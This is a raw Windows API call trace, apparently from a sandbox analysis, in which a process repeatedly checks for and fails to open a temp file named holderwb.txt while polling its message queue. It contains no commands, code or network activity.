	[0099.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.483] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.483] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.483] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.484] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.484] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.484] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.484] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.484] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.484] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.485] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.485] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.485] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.485] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.485] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.485] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.486] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.486] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.486] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.486] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.486] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.486] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.487] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.487] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.487] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.487] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.488] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.488] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.488] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.489] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.489] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.489] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.489] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.489] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.489] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.489] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.490] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.490] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.490] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.490] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.490] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.490] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.490] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.491] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.491] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.491] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.491] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.491] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.491] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.491] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.492] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.492] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.492] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.492] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.493] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.493] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.493] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.493] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.494] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.494] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.494] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.494] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.494] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.494] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.495] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.495] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.495] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.495] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.495] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.495] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.495] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.496] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.497] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.497] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.497] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
